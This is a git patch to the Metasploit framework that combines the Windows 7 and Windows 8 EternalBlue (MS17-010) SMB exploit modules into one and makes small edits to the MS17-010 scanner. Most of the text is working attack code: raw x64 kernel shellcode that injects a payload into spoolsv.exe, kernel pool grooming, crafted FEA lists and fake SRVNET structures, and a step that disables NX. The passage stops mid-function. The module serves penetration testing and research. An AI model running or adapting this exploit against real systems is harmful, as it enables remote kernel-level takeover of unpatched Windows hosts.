From ccf5c36c4471375284109c297806906338486688 Mon Sep 17 00:00:00 2001 From: A Galway Date: Tue, 18 May 2021 16:13:36 +0100 Subject: [PATCH] combine both verseions of eb into a single module --- modules/auxiliary/scanner/smb/smb_ms17_010.rb | 3 +- .../windows/smb/ms17_010_eternalblue.rb | 1155 ++++++++++++++--- .../windows/smb/ms17_010_eternalblue_win8.rb | 959 -------------- 3 files changed, 1008 insertions(+), 1109 deletions(-) delete mode 100644 modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index e6fb4b4066..686da99574 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -88,6 +88,7 @@ class MetasploitModule < Msf::Auxiliary vprint_status("Received #{status} with FID = 0") os = simple.client.peer_native_os.dup + details[:os] = simple.client.peer_native_os.dup if status == 'STATUS_INSUFF_SERVER_RESOURCES' if datastore['CHECK_ARCH'] case dcerpc_getarch @@ -167,7 +168,7 @@ class MetasploitModule < Msf::Auxiliary rescue ::Rex::Proto::SMB::Exceptions::LoginError print_error("An SMB Login Error occurred while connecting to the IPC$ tree.") rescue ::Exception => e - vprint_error("#{e.class}: #{e.message}") + print_error("#{e.class}: #{e.message}") ensure disconnect end diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index cbe9d77dbe..6b47834c13 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -5,14 +5,17 @@ require 'ruby_smb' require 'ruby_smb/smb1/packet' +require 'rubyntlm' +require 'net/ntlm' require 'windows_error' class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking - include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::CheckModule - prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + + moved_from 'exploit/windows/smb/ms17_010_eternalblue_win8' def initialize(info = {}) super( @@ -42,16 +45,30 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Author' => - [ - 'Sean Dillon ', # @zerosum0x0 - 'Dylan Davis ', # @jennamagius - 'Equation Group', - 'Shadow Brokers', - 'thelightcosine' # RubySMB refactor and Fallback Credential mode - ], + [ + # Original Exploit + 'Equation Group', # OG research and exploit + 'Shadow Brokers', # Hack and dump + 'sleepya', # Research and PoC + + # Original win7 module + 'Sean Dillon ', # @zerosum0x0 + 'Dylan Davis ', # @jennamagius + 'thelightcosine', # RubySMB refactor and Fallback Credential mode + + # Original win8 module + 'wvu', # Babby's first external module + 'agalway-r7', # External python module to internal ruby module (sorry wvu) + 'cdelafuente-r7', # ruby_smb wizard + 'cdelafuente-r7', # kernel debugging wizard + + # Combining the two + 'agalway-r7' # am good at copy pasta + ], 'License' => MSF_LICENSE, 'References' => [ + # Win 7 ['MSB', 'MS17-010'], ['CVE', '2017-0143'], ['CVE', '2017-0144'], @@ -59,79 +76,1028 @@ class MetasploitModule < Msf::Exploit::Remote ['CVE', '2017-0146'], ['CVE', '2017-0147'], ['CVE', '2017-0148'], - ['URL', 'https://github.com/RiskSense-Ops/MS17-010'] + ['URL', 'https://github.com/RiskSense-Ops/MS17-010'], + + # Win 8 + ['EDB', '42030'], ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', 'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010', - 'WfsDelay' => 5 + 'EXITFUNC' => 'thread', + 'WfsDelay' => 3 }, 'Privileged' => true, - 'Payload' => - { - 'Space' => 2000, # this can be more, needs to be recalculated - 'EncoderType' => Msf::Encoder::Type::Raw - }, 'Platform' => 'win', + 'Arch' => [ARCH_X64], + 'Payload' => { + 'Space' => 2000, # this can be more, needs to be recalculated + 'EncoderType' => Msf::Encoder::Type::Raw, + 'DisableNops' => true + }, 'Targets' => [ + [ 'Automatic Target', {} ], [ - 'Windows 7 and Server 2008 R2 (x64) All Service Packs', + 'Windows 7', { - 'Platform' => 'win', - 'Arch' => [ARCH_X64], - 'os_patterns' => ['Server 2008 R2', 'Windows 7', 'Windows Embedded Standard 7'], - 'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset - 'et_alertable' => 0x4c, # ETHREAD.Alertable offset - 'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset - 'et_tle' => 0x420 # ETHREAD.ThreadListEntry offset + 'os_patterns' => ['Windows 7'] + } + ], + [ + 'Windows Embedded Standard 7', + { + 'os_patterns' => ['Windows Embedded Standard 7'] + } + ], + [ + 'Windows Server 2008 R2', + { + 'os_patterns' => ['Windows Server 2008 R2'] + } + ], + [ + 'Windows 8', + { + 'os_patterns' => ['Windows 8'] + } + ], + [ + 'Windows 8.1', + { + 'os_patterns' => ['Windows 8.1'] + } + ], + [ + 'Windows Server 2012', + { + 'os_patterns' => ['Windows Server 2012'] + } + ], + [ + 'Windows 10 Pro', + { + 'os_patterns' => ['Windows Pro Build'] + } + ], + [ + 'Windows 10 Enterprise Evaluation', + { + 'os_patterns' => ['Windows 10 Enterprise Evaluation Build'] } ] ], 'DefaultTarget' => 0, - 'DisclosureDate' => '2017-03-14', 'Notes' => { 'AKA' => ['ETERNALBLUE'] - } + }, + 'DisclosureDate' => '2017-03-14' ) ) register_options( [ + Opt::RHOSTS, Opt::RPORT(445), - OptBool.new('VERIFY_TARGET', [true, 'Check if remote OS matches exploit Target.', true]), - OptBool.new('VERIFY_ARCH', [true, 'Check if remote architecture matches exploit Target.', true]), OptString.new('SMBUser', [false, '(Optional) The username to authenticate as', '']), OptString.new('SMBPass', [false, '(Optional) The password for the specified username', '']), - OptString.new('SMBDomain', [false, '(Optional) The Windows domain to use for authentication', '.']) + OptString.new('SMBDomain', [ + false, + '(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7,' \ + ' Windows Embedded Standard 7 target machines.', + '' + ]), + OptBool.new('VERIFY_TARGET', [ + true, + 'Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded' \ + ' Standard 7 target machines.', + true + ]), + OptBool.new('VERIFY_ARCH', [ + true, + 'Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7,' \ + ' Windows Embedded Standard 7 target machines.', + true + ]) ] ) register_advanced_options( [ OptString.new('ProcessName', [true, 'Process to inject payload into.', 'spoolsv.exe']), - OptInt.new('MaxExploitAttempts', [true, 'The number of times to retry the exploit.', 3]), OptInt.new('GroomAllocations', [true, 'Initial number of times to groom the kernel pool.', 12]), - OptInt.new('GroomDelta', [true, 'The amount to increase the groom count by per try.', 5]) + OptInt.new('MaxExploitAttempts', [ + true, + 'The number of times to retry the exploit. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded' \ + ' Standard 7 target machines.', + 3 + ]), + OptInt.new('GroomDelta', [ + true, + 'The amount to increase the groom count by per try. Only affects Windows Server 2008 R2, Windows 7, Windows' \ + ' Embedded Standard 7 target machines.', + 5 + ]) ] ) - end - class EternalBlueError < StandardError + def generate_process_hash(process) + [Rex::Text.ror13_hash(process + "\x00")].pack('l<') + end + + # ring3 = user mode encoded payload + # proc_name = process to inject APC into + def make_kernel_user_payload(ring3, proc_name) + proc_hash = generate_process_hash(proc_name) + + sc = ( + "\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d" \ + "\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a" \ + "\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48" \ + "\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48" \ + "\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8" \ + "\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8" \ + "\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50" \ + "\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48" \ + "\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31" \ + "\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0" \ + "\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa" \ + "\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57" \ + "\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49" \ + "\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d" \ + "\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00" \ + "\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f" \ + "\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00" \ + "\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04" \ + "\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00" \ + "\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6" \ + "\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78" \ + "\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d" + + proc_hash + "\x74\x10\x3d" + proc_hash + "\x74\x09\x48\x8b\x0c" \ + "\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00" \ + "\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b" \ + "\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce" \ + "\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74" \ + "\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00" \ + "\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d" \ + "\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46" \ + "\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3" \ + "\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89" \ + "\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02" \ + "\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84" \ + "\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20" \ + "\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00" \ + "\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c" \ + "\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59" \ + "\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75" \ + "\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b" \ + "\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89" \ + "\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06" \ + "\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65" \ + "\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e" \ + "\x48\x8d\x35\x6a\x00\x00\x00" \ + "\xb9#{[ ring3.length ].pack('s')}\x00\x00" \ + "\xf3\xa4\x48\x8b" \ + "\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83" \ + "\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32" \ + "\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff" \ + "\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22" \ + "\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49" \ + "\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20" \ + "\xff\xd0\x48\x83\xc4\x30\xc3" + ) + sc << ring3 + sc end def exploit check_code = check - unless check_code == CheckCode::Vulnerable || datastore['ForceExploit'] - fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + + if check_code.code == 'vulnerable' + print_good('The target is vulnerable.') + else + print_bad('The target is not vulnerable.') end - unless (check_code.details[:arch] || dcerpc_getarch) == ARCH_X64 - fail_with(Failure::NoTarget, 'This exploit module only supports x64 (64-bit) targets') + if check_code.details[:arch] == ARCH_X86 + fail_with(Failure::NoTarget, 'This module only supports x64 (64-bit) targets') end + if datastore['ForceExploit'] == 'true' || check_code.code == 'vulnerable' + print_status('Forcing Exploit') if datastore['ForceExploit'] == 'true' + + os = Recog::Nizer.match('smb.native_os', check_code.details[:os]) + + if os.nil? + if target.name == 'Automatic Target' + targs = '' + targets[1..-1].each { |t| targs += "#{t.name}\n" } + + msg = "Could not determine victim OS. If the victim OS is one of the below options:\n"\ + "#{targs}"\ + "\nThen it can be selected manually with 'set TARGET '" + fail_with(Failure::NoTarget, msg) + else + os = target.name + end + else + os = os['os.product'] + end + + if os.start_with?('Windows 8', 'Windows 10', 'Windows Server 2012', 'Windows 2012') + extend(EternalBlueWin8) + else + extend(EternalBlueWin7) + end + + exploit_eb + end + end +end + +module EternalBlueWin8 + MAX_SHELLCODE_SIZE = 3712 + + # debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is. + # The 0xffffffffffd00000 address should be useable when debug mode is not enabled + # The 0xffffffffffd01000 address should be useable when debug mode is enabled + TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode + + # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000 + NTFEA_SIZE = 0x9000 + + NTLM_FLAGS = Net::NTLM::FLAGS[:KEY56] + + Net::NTLM::FLAGS[:KEY128] + + Net::NTLM::FLAGS[:TARGET_INFO] + + Net::NTLM::FLAGS[:NTLM2_KEY] + + Net::NTLM::FLAGS[:NTLM] + + Net::NTLM::FLAGS[:REQUEST_TARGET] + + Net::NTLM::FLAGS[:UNICODE] + + NTFEA_9000 = (([0, 0, 0].pack('CCS<') + "\x00") * 0x260 + # with these fea, ntfea size is 0x1c80 + [0, 0, 0x735c].pack('CCS<') + "\x00" * 0x735d + # 0x8fe8 - 0x1c80 - 0xc = 0x735c + [0, 0, 0x8147].pack('CCS<') + "\x00" * 0x8148) # overflow to SRVNET_BUFFER_HDR + + NTLM_CRYPT = Rex::Proto::NTLM::Crypt + + include Msf::Exploit::Remote::Tcp + + # fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler() + # x64: fake struct is at ffffffff ffd00e00 + # offset 0x50: KSPIN_LOCK + # offset 0x58: LIST_ENTRY must be valid address. cannot be NULL. + # offset 0x110: array of pointer to function + # offset 0x13c: set to 3 (DWORD) for invoking ptr to function + # some useful offset + # offset 0x120: arg1 when invoking ptr to function + # offset 0x128: arg2 when invoking ptr to function + # + # code path to get code exception after this struct is controlled + # SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr + def fake_recv_struct + struct = "\x00" * 80 + struct << [0, TARGET_HAL_HEAP_ADDR + 0x58].pack('QQ<') + struct << [TARGET_HAL_HEAP_ADDR + 0x58, 0].pack('QQ<') # offset 0x60 + struct << ("\x00" * 16) * 10 + struct << [TARGET_HAL_HEAP_ADDR + 0x170, 0].pack('QQ<') # offset 0x110: fn_ptr array + struct << [(0x8150 ^ 0xffffffffffffffff) + 1, 0].pack('QQ<') # set arg1 to -0x8150 + struct << [0, 0, 3].pack('QII<') # offset 0x130 + struct << ("\x00" * 16) * 3 + struct << [0, TARGET_HAL_HEAP_ADDR + 0x180].pack('QQ<') # shellcode address + struct + end + + def smb1_connect_ipc(negotiate_only: false, session_setup_packet: nil, session_setup_auth_packet: nil) + begin + sock = Rex::Socket::Tcp.create( + 'PeerHost' => rhost, + 'PeerPort' => rport, + 'Proxies' => proxies, + 'Context' => { + 'Msf' => framework, + 'MsfExploit' => self + } + ) + + dispatcher = RubySMB::Dispatcher::Socket.new(sock) + client = CustomSessionSetupPacketRubySMBClient.new(dispatcher, smb1: true, smb2: false, smb3: false, + username: smb_user, domain: smb_domain, password: smb_pass, + ntlm_flags: NTLM_FLAGS) + + if negotiate_only + client.negotiate + return client, nil, sock + else + response_code = client.login(ntlm_flags: NTLM_FLAGS, + session_setup_packet: session_setup_packet, + session_setup_auth_packet: session_setup_auth_packet) + + unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS + raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}" + end + + tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") + end + + return client, tree, sock + rescue StandardError => e + print_error("Could not make SMBv1 connection. #{e.class} error raised with message '#{e.message}'") + elog('Could not make SMBv1 connection', error: e) + + # for an as of yet undetermined reason, a connection can sometimes be created after an error during an anonymous + # login. + if client + client.disconnect! + end + + raise e + end + end + + def send_trans2_second(conn, tid, pid, data, displacement) + pkt = RubySMB::SMB1::Packet::Trans2::RequestSecondary.new + pkt.smb_header.tid = tid + pkt.smb_header.pid_low = pid + + pkt.parameter_block.total_parameter_count = 0 + pkt.parameter_block.total_data_count = data.length + + fixed_offset = 32 + 3 + 18 + pkt.data_block.pad1 = '' + + pkt.parameter_block.parameter_count = 0 + pkt.parameter_block.parameter_offset = 0 + + if !data.empty? + pad_len = (4 - fixed_offset % 4) % 4 + + if pad_len == 0 + pkt.data_block.pad1 = '' + elsif pad_len == 3 + pkt.data_block.pad1 = "\x00" * 2 + pkt.data_block.pad1 = "\x00" + else + pkt.data_block.pad1 = "\x00" * pad_len + end + else + pkt.data_block.pad1 = '' + pad_len = 0 + end + + pkt.parameter_block.data_count = data.length + pkt.parameter_block.data_offset = fixed_offset + pad_len + pkt.parameter_block.data_displacement = displacement + + pkt.data_block.trans2_parameters = '' + pkt.data_block.trans2_data = data + + pkt.smb_header.flags2.extended_security = 1 + pkt.smb_header.flags2.paging_io = 0 + pkt.smb_header.flags2.unicode = 0 + + pkt.smb_header.uid = BinData::Bit16le.read(BinData::Bit16.new(2048).to_binary_s) + + conn.send_packet(pkt) + end + + # connect to target and send a large nbss size with data 0x80 bytes + # this method is for allocating big nonpaged pool on target + def create_connection_with_big_smb_first_80(for_nx: false) + sock = connect(false) + pkt = "\x00".b + "\x00".b + [0x8100].pack('S>') + # There is no need to be SMB2 because we want the target free the corrupted buffer. + # Also this is invalid SMB2 message. + # I believe NSA exploit use SMB2 for hiding alert from IDS + # pkt += '\xfeSMB' # smb2 + # it can be anything even it is invalid + pkt += "\x01\x02\x03\x04" + + if for_nx + # MUST set no delay because 1 byte MUST be sent immediately + sock.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) + pkt += "\x00" * 0x7b # another byte will be sent later to disabling NX + else + pkt += "\x00" * 0x7c + end + + sock.send(pkt, 0) + sock + end + + def send_big_trans2(conn, tid, pid, setup, data, param) + first_data_fragment_size = data.length % 4096 + + pkt = RubySMB::SMB1::Packet::NtTrans::Request.new + pkt.smb_header.tid = tid + + pkt.smb_header.pid_low = pid + + command = [setup].pack('S<') + + pkt.parameter_block.max_setup_count = 1 + pkt.parameter_block.max_parameter_count = param.length + pkt.parameter_block.max_data_count = 0 + + pkt.parameter_block.setup << 0x0000 + pkt.parameter_block.total_parameter_count = param.length + pkt.parameter_block.total_data_count = data.length + + fixed_offset = 32 + 3 + 38 + command.length + if !param.empty? + pad_len = (4 - fixed_offset % 4) % 4 + pad_bytes = "\x00" * pad_len + pkt.data_block.pad1 = pad_bytes + else + pkt.data_block.pad1 = '' + pad_len = 0 + end + + pkt.parameter_block.parameter_count = param.length + pkt.parameter_block.parameter_offset = fixed_offset + pad_len + + if !data.empty? + pad_len = (4 - (fixed_offset + pad_len + param.length) % 4) % 4 + pkt.data_block.pad2 = "\x00" * pad_len + else + pkt.data_block.pad2 = '' + pad_len = 0 + end + + pkt.parameter_block.data_count = first_data_fragment_size + pkt.parameter_block.data_offset = pkt.parameter_block.parameter_offset + param.length + pad_len + + pkt.data_block.trans2_parameters = param + pkt.data_block.trans2_data = data.first(first_data_fragment_size) + + pkt.smb_header.flags2.paging_io = 0 + pkt.smb_header.flags2.extended_security = 1 + + begin + recv_pkt = RubySMB::SMB1::Packet::NtTrans::Response.read(conn.send_recv(pkt)) + rescue RubySMB::Error::CommunicationError => e + print_status('CommunicationError encountered. Have you set SMBUser/SMBPass?') + raise e + end + + if recv_pkt.status_code.value == 0 + print_good('got good NT Trans response') + else + print_error("got bad NT Trans response: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}") + return nil + end + + # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data + size_of_data_to_be_sent = first_data_fragment_size + while size_of_data_to_be_sent < data.length + send_size = [4096, data.length - size_of_data_to_be_sent].min + if data.length - size_of_data_to_be_sent <= 4096 + break + end + + send_trans2_second(conn, tid, pid, data[size_of_data_to_be_sent...(size_of_data_to_be_sent + send_size)], + size_of_data_to_be_sent) + size_of_data_to_be_sent += send_size + end + + size_of_data_to_be_sent + end + + def _exploit(fea_list, shellcode, num_groom_conn, username, password) + session_setup_packet = default_session_setup_request + session_setup_auth_packet = default_session_setup_request + + conn, tree, sock = smb1_connect_ipc(session_setup_packet: session_setup_packet, + session_setup_auth_packet: session_setup_auth_packet) + + pid = conn.pid + os = conn.peer_native_os + print_status("Target OS: #{os}") + + if os.start_with?('Windows 10') + build = os.split.last.to_i + if build >= 14393 # version 1607 + print_status('This exploit does not support this build') + return + end + elsif !(os.start_with?('Windows 8') || os.start_with?('Windows Server 2012')) + print_status('This exploit does not support this target:') + return + end + + # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. + # Send TRANS2_OPEN2 (0) with special fea_list to a target exce + progress = send_big_trans2(conn, tree.id, pid, 0, fea_list, "\x00" * 30) + if progress.nil? + conn.disconnect! + return + end + + fea_list_nx = generate_fea_list_nx + + session_setup_packet = default_session_setup_request + session_setup_packet.parameter_block.vc_number = 1 + + session_setup_auth_packet = default_session_setup_request + session_setup_auth_packet.parameter_block.max_mpx_count = 2 + session_setup_auth_packet.parameter_block.vc_number = 1 + + nx_conn, nx_tree, nx_sock = smb1_connect_ipc(session_setup_packet: session_setup_packet, + session_setup_auth_packet: session_setup_auth_packet) + + # Another TRANS2_OPEN2 (0) with special fea_list for disabling NX + nx_progress = send_big_trans2(nx_conn, nx_tree.id, pid, 0, fea_list_nx, "\x00" * 30) + if nx_progress.nil? + conn.disconnect! + nx_conn.disconnect! + return + end + + # create some big buffer at servereternal + # this buffer MUST NOT be big enough for overflown buffer + alloc_conn, alloc_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x2010, username, password, pid) + if alloc_conn.nil? + return + end + + # groom nonpaged pool + # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one + srvnet_conn = [] + num_groom_conn.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) } + + # create buffer size NTFEA_SIZE at server + # this buffer will be replaced by overflown buffer + hole_conn, hole_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x10, username, password, pid) + if hole_conn.nil? + return + end + + # disconnect allocConn to free buffer + # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer + alloc_sock.close + + # hope one of srvnet_conn is next to holeConn + 5.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) } + + # remove holeConn to create hole for fea buffer + hole_sock.close + + # send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header + # first trigger, overwrite srvnet buffer struct for disabling NX + send_trans2_second(nx_conn, nx_tree.id, pid, fea_list_nx[nx_progress, fea_list_nx.length], nx_progress) + + recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(nx_conn.recv_packet) + if recv_pkt.status_code.value == 0xc000000d + print_good('good response status for nx: INVALID_PARAMETER') + else + print_error("bad response status for nx: #{recv_pkt.status_code.value}") + end + + # one of srvnet_conn struct header should be modified + # send '\x00' to disable nx + srvnet_conn.each { |sk| sk.send("\x00", 0) } + + # send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header + # second trigger, place fake struct and shellcode + send_trans2_second(conn, tree.id, pid, fea_list[progress, fea_list.length], progress) + recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(conn.recv_packet) + if recv_pkt.status_code.value == 0xc000000d + print_good('good response status for nx: INVALID_PARAMETER') + else + print_error("bad response status for nx: #{recv_pkt.status_code.value}") + end + + # one of srvnet_conn struct header should be modified + # a corrupted buffer will write recv data in designed memory address + srvnet_conn.each { |sk| sk.send(fake_recv_struct + shellcode, 0) } + + # execute shellcode, at this point the shellcode should be located at ffffffff`ffd04180 + srvnet_conn.each(&:close) + + nx_tree.disconnect! + nx_conn.disconnect! + nx_sock.close + + tree.disconnect! + conn.disconnect! + sock.close + end + + def create_fea_list(sc_size) + fea_list = [0x10000].pack('I<') + fea_list += NTFEA_9000 + fake_srv_net_buf = create_fake_srv_net_buffer(sc_size) + fea_list += [0, 0, fake_srv_net_buf.length - 1].pack('CCS<') + fake_srv_net_buf # -1 because first '\x00' is for name + # stop copying by invalid flag (can be any value except 0 and 0x80) + fea_list += [0x12, 0x34, 0x5678].pack('CCS<') + return fea_list + end + + def create_fake_srv_net_buffer(sc_size) + # 0x180 is size of fakeSrvNetBufferX64 + total_recv_size = 0x80 + 0x180 + sc_size + fake_srv_net_buffer_x64 = "\x00" * 16 + fake_srv_net_buffer_x64 += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<') # flag, _, _, pNetRawBuffer + fake_srv_net_buffer_x64 += [0, 0x82e8, 0].pack('QII<') # _, thisNonPagedPoolSize, _ + fake_srv_net_buffer_x64 += "\x00" * 16 + fake_srv_net_buffer_x64 += [0, total_recv_size].pack('QQ<') # offset 0x40 + fake_srv_net_buffer_x64 += [TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR].pack(' MAX_SHELLCODE_SIZE + print_error("Shellcode too long. The place that this exploit put a shellcode is limited to #{MAX_SHELLCODE_SIZE} bytes.") + return + end + + fea_list = create_fea_list(sc.length) + + print_status("shellcode size: #{sc.length}") + print_status("numGroomConn: #{num_groom_conn}") + + begin + _exploit(fea_list, sc, num_groom_conn, smbuser, smbpass) + rescue StandardError => e + print_error("Exploit failed with the following error: #{e.message}") + elog('Error encountered with eternalblue_win8', error: e) + return false + end + end + + def create_session_alloc_non_paged(size, username, password, pid) + # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 + pkt = SessionSetupSMB1RequestWithPoorlyFormedDataBlock.new + + anon_conn, _anon_tree, anon_sock = smb1_connect_ipc(negotiate_only: true) + + pkt.smb_header.pid_low = pid + + if size >= 65535 # 0xffff + pkt.data_block.security_blob = [(size / 2).floor].pack('S<') + "\x00" * 20 + pkt.smb_header.flags2.unicode = 0 + else + pkt.data_block.security_blob = [size].pack('S<') + "\x00" * 20 + pkt.smb_header.flags2.unicode = 1 + end + + pkt.smb_header.flags2.extended_security = 0 + pkt.smb_header.flags2.nt_status = 1 + pkt.smb_header.flags2.paging_io = 0 + + pkt.parameter_block.max_buffer_size = 61440 # can be any value greater than response size + pkt.parameter_block.max_mpx_count = 2 # can by any value + pkt.parameter_block.vc_number = 2 # any non-zero + pkt.parameter_block.session_key = 0 + pkt.parameter_block.security_blob_length = 0 # this is OEMPasswordLen field in another format. 0 for NULL session + + pkt.parameter_block.capabilities.each_pair do |k| + if k == :nt_status || k == :extended_security + pkt.parameter_block.capabilities[k] = 1 + else + pkt.parameter_block.capabilities[k] = 0 + end + end + + recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(anon_conn.send_recv(pkt)) + + if recv_pkt.status_code.value == 0 + print_good('SMB1 session setup allocate nonpaged pool success') + return anon_conn, anon_sock + end + + anon_conn.disconnect! + + unless username.empty? + # Try login with valid user because anonymous user might get access denied on Windows Server 2012. + # Note: If target allows only NTLMv2 authentication, the login will always fail. + # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16) + req_size = (size / 2).floor + pkt.smb_header.flags2.unicode = 0 + + auth_conn, _auth_tree, auth_sock = smb1_connect_ipc(negotiate_only: true) + + pkt.smb_header.pid_low = pid + + # challenge_packet = conn.smb1_ntlmssp_challenge_packet(conn.smb1_ntlmssp_negotiate) + # type2_b64_message = conn.smb1_type2_message(challenge_packet) + + # server_challenge = response_packet.data_block.server_guid[0, 8] + server_challenge = auth_conn.server_guid[0, 8] + + pwd_unicode = NTLM_CRYPT.ntlm_md4(password, 